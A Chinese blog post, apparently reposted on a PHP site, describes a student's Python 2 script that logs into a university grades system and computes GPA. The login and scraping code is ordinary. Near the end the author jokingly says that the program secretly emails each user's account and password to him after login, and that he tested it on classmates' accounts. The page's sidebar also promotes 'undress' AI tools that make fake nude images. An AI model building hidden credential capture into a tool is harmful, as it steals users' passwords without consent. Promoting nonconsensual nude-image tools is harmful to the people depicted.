目录
cookie用于记录登录后的会话状态。" >  cookie用于记录登录后的会话状态
  先用浏览器登录教务系统,打开控制台分析登录网页需要post哪些消息和找出真正的请求网页。
  由上面两图分析得到真实的请求网页是:121.251.19.29/pass.asp
  登录需要post的数据为:UserStyle,user,password,其中UserStyle是radio类型,看网页源代码得到分为student,teacher和OtherUser三种。
  接下去发送post请求。
  成功登录后,找到成绩查询的选项点击,找到请求的网页为:121.251.19.29/student/asp/Select_Success.asp
  打开请求网页,读取成绩页面源代码
  用正则表达式过滤所有HTML标签。剩下的内容进行解析。显示成绩的表格有周期性规律,提取对应科目的成绩和学分,最后计算平均分和绩点。
  当然,如果帐号或密码输入错误,则请求登录失败,会提示用户重新输入帐号密码。下面找了几个同学的帐号来测试。
  最后还稍微抖个机灵,帐号成功登陆后会把帐号密码发到我的邮箱
  python模拟发普通文本邮件的内容就不写了。。直接开源吧:github.com/ly941122/CalGPA
首页 微信小程序 小程序开发 模拟登录教务系统计算GPA的小程序

模拟登录教务系统计算GPA的小程序

May 27, 2017 pm 02:43 PM

  做了一些小游戏之后开始慢慢体会敲代码是件体力活,慢慢熬总能熬出来的。这几天又心血来潮想写个程序模拟登录教务系统计算GPA的小程序。不过之前没有一点点网络编程的经验,就趁着期中考后放假4天,一点点把坑填上。
  最近对Java语言有莫名好感。原本也打算用Java开发,但事实证明Java在网络编程方面似乎比python麻烦,加上Java一个方法用错导致学校教务系统误以为我在进行SQL注入把我的ip封了(。。。)从此下定决心用python写。

# 保存cookie
cj = cookielib.LWPCookieJar()
cookie_support = urllib2.HTTPCookieProcessor(cj)
opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)
登录后复制

  先用浏览器登录教务系统,打开控制台分析登录网页需要post哪些消息和找出真正的请求网页。

算GPA小程序开发0
算GPA小程序开发1

  由上面两图分析得到真实的请求网页是:121.251.19.29/pass.asp

  登录需要post的数据为:UserStyle,user,password,其中UserStyle是radio类型,看网页源代码得到分为student,teacher和OtherUser三种。

  接下去发送post请求。

url = '121.251.19.29/pass.asp'
h = urllib2.urlopen(url)
info = {'UserStyle': 'student', 'user': user, 'password': psw}
info = urllib.urlencode(info)
req = urllib2.Request(url, info)
urllib2.urlopen(req)
登录后复制

  成功登录后,找到成绩查询的选项点击,找到请求的网页为:121.251.19.29/student/asp/Select_Success.asp

算GPA小程序开发2

  打开请求网页,读取成绩页面源代码

req = urllib2.Request('121.251.19.29/student/asp/Select_Success.asp')
resData = urllib2.urlopen(req)
res = resData.read()  # 读取成绩页面
登录后复制

  用正则表达式过滤所有HTML标签。剩下的内容进行解析。显示成绩的表格有周期性规律,提取对应科目的成绩和学分,最后计算平均分和绩点。

tag = re.compile(&#39;</?[^>]*>&#39;)
s = re.sub(tag, &#39;&#39;, res)  # 过滤标签
tmp = s.split()
登录后复制

  当然,如果帐号或密码输入错误,则请求登录失败,会提示用户重新输入帐号密码。下面找了几个同学的帐号来测试。

算GPA小程序开发3
算GPA小程序开发4
算GPA小程序开发5
算GPA小程序开发6

  最后还稍微抖个机灵,帐号成功登陆后会把帐号密码发到我的邮箱

  python模拟发普通文本邮件的内容就不写了。。直接开源吧:github.com/ly941122/CalGPA

【相关推荐】

1. PHP采集、模拟登陆论坛小程序_PHP教程

2. 微信小程序开发之登录流程制作说明

3. 小程序开发之表单验证实例教程

4. 详解优化你的微信小程序

以上是模拟登录教务系统计算GPA的小程序的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)